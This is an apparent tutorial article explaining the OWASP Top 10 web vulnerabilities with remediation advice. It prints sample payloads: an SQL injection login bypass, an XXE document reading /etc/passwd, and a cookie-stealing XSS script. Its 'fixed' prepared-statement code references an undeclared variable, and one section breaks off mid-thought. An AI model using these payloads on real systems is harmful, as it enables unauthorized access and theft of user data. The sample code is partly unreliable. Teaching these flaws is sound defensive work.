Real-World Examples for OWASP Top 10 Vulnerabilities

The OWASP (Open Web Application Security Project) Top 10 is a standard security guideline followed by developers and security professionals across the industry. The OWASP is a non-profit organization started in 2004 to help secure applications against popular vulnerabilities.

As software development practices have evolved over the years, so have the nature of attacks. To stay relevant as per current day complex security vulnerabilities, OWASP keeps updating its vulnerabilities list based on the current trends (OWASP is currently in its 2017 edition).

Having understood what OWASP Top 10 standard is, let’s look at each one of them with a real-world example to help our understanding.

1. Injection

SQL injections occur when a user-controlled input is appended to the SQL statement dynamically without input validation. In this case, the attacker may provide malicious input and change the SQL statement behavior to carry out their malicious activities. The attacker can use this to extract sensitive data, delete data, etc. Below are examples of vulnerable and non-vulnerable code snippets.

Vulnerable code:

uName = getRequestString(“username”);
uPass = getRequestString(“userpassword”);
sql = ‘SELECT * FROM Users WHERE Name =”‘ + uName + ‘” AND Pass =”‘ + uPass + ‘”‘

Here uName and uPass are user-controlled. If an attacker submits uName as “admin” and password as ” OR 1 = 1 — then the SQL statement will become something like

sql = ‘SELECT * FROM Users WHERE Name =”admin” AND Pass =”” OR 1 = 1 —

This will make the statement true and will fetch records for admin users. Using prepared statements remains the most popular and effective way to remediate this issue, as shown below.

Fixed code:

String Uname = //user input
String Upass = //user input
Connection connection = DriverManager.getConnection(…);
PreparedStatement statement = connection.prepareStatement(
“SELECT * FROM Users WHERE Name = ? AND Pass = ?” );
statement.setString(1, Uname);
statement.setString(2, Pass);
ResultSet rs = statement.executeQuery();


2. Broken Authentication

Weak or missing authentication can allow attackers to compromise password and session tokens and ultimately gain access into the victim’s account. Therefore, applications should use complex and secure random passwords and session tokens such that they can’t be guessed easily. 

Apart from that, there should be security controls such as an account lockout policy and password expiry policy to prevent applications from falling prey to automated brute force attacks.


3. Sensitive Data Exposure

Data exposure can happen mainly in two ways. First, at rest—when the data is stored in the system (file or database), it should be encrypted using a strong encryption mechanism. If this is not done and the storage service is compromised, stored data may get leaked. 

Second, in transit—data should be properly encrypted when sent across network channels. Thus, if it is intercepted in between, the integrity of the sensitive data remains unchanged. This is called data protection at transit.

Note: Password fields should be hashed and then stored in the database. The reason for this is that hashing is a one-way mechanism. Thus, even if the database is compromised, the attacker will not be able to retrieve the password value from the password hash.


4. XML External Entities (XXE)

Quite a few applications use XML documents to enable the communication of data between the server and browser. Therefore, they need XML parsers to parse the information. When a poorly configured XML parser is used to parse a malicious input XML document, it may evaluate the external entity references executing the attacker’s commands. Below is an example of a malicious input XML document.

<?xml version=“1.0” encoding=“ISO-8859-1”?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM “file:///etc/passwd” >]>

In the above snippet, there is a system command to read the local “passwd” file on the server. In certain cases, this vulnerability may propagate into other attacks like SSRF (server-side request forgery), local file inclusion, remote code execution, DoS attack, etc.

As remediation, it is suggested to disable resolution of external entities and disable support for XInclude. 


5. Broken Access Control 

Access control refers to the restriction enforced on selected resources to provide access to only intended users. An application that does not enforce proper access control may allow an attacker to access unauthorized functionalities or data. Below is a real-life example of a  vulnerable system that used user input without validation.

System #1: The application uses unvalidated data in a SQL statement that is accessing account information from database:

pstmt.setString(1, request.getParameter(“acctNo”));
ResultSet results = pstmt.executeQuery( );
An attacker simply modifies the ‘acctNo’ parameter in the browser to send whatever account number they want and successfully accesses any user‘s account.
Service call :


6. Security Misconfiguration

This is the most popular security vulnerability across many applications/systems. As developers use a lot of integrated tools and services during application development, they tend to use the default setting provided, which is dangerous and leaves your application vulnerable. 

Under normal circumstances, application configurations enable detailed error messages. So when an error occurs, like debug logging, stack traces, etc., the browser gives the complete details to the user. Unfortunately, this exposes sensitive information such as component versions which can be a problem if the component has known vulnerabilities that you have not fixed yet.


7. Cross-Site Scripting XSS:  

In cross-site scripting (XSS), attacker-controlled user input is added to the web page without validation or proper escaping. Then the attacker may introduce malicious code to execute their Javascript on the victim’s browser. This can be used to redirect the victim to an attacker-controlled page, change UI elements of the page to deface it, or steal cookie details. Below is an example of a javascript payload that steals cookies and sends them to the attacker server.


<script type=“text/javascript”>document.location=“”+document.cookie;</script>


8. Insecure Deserialization: 

The insecure deserialization vulnerability arises when an application deserializes user-provided serialized input without implementing security controls. Few popular deserializers such as Python’s Pickle Module and Java’s ReadObject method are known to be vulnerable to deserialization attacks. Using this, an attacker can perform remote code execution on the server resulting in securing remote access. 


9. Using Components with Known Vulnerabilities

Today, using free/open source softwares and third-party libraries is a very common practice in application development. Therefore, it is equally important to ensure the security of these open source and third-party components used in the development. This practice of managing open source and third-party software security and licensing is also known as software composition analysis


10. Insufficient Logging & Monitoring

To prevent a cyber attack and act in case of one, logging and monitoring systems are the most critical link in the security event management chain. They help detect and analyze the root cause of the attack. Incident monitoring solutions like Splunk, CyberArk help analyze endpoint logs and report malicious behavior in the form of alarms. To act on these alarms, incident response solutions like Resilient, ForcePoint, and Crowdstike can be used. They execute a set of predefined actions to help tackle security threats.


Application developers and security engineers should test their codebases against popular web vulnerabilities before publishing their applications in a production environment. This OWASP Top 10 list of web vulnerabilities can be used as a checklist in security testing. 

Thank you all for going through the OWASP Top 10 with me. I hope you enjoyed reading.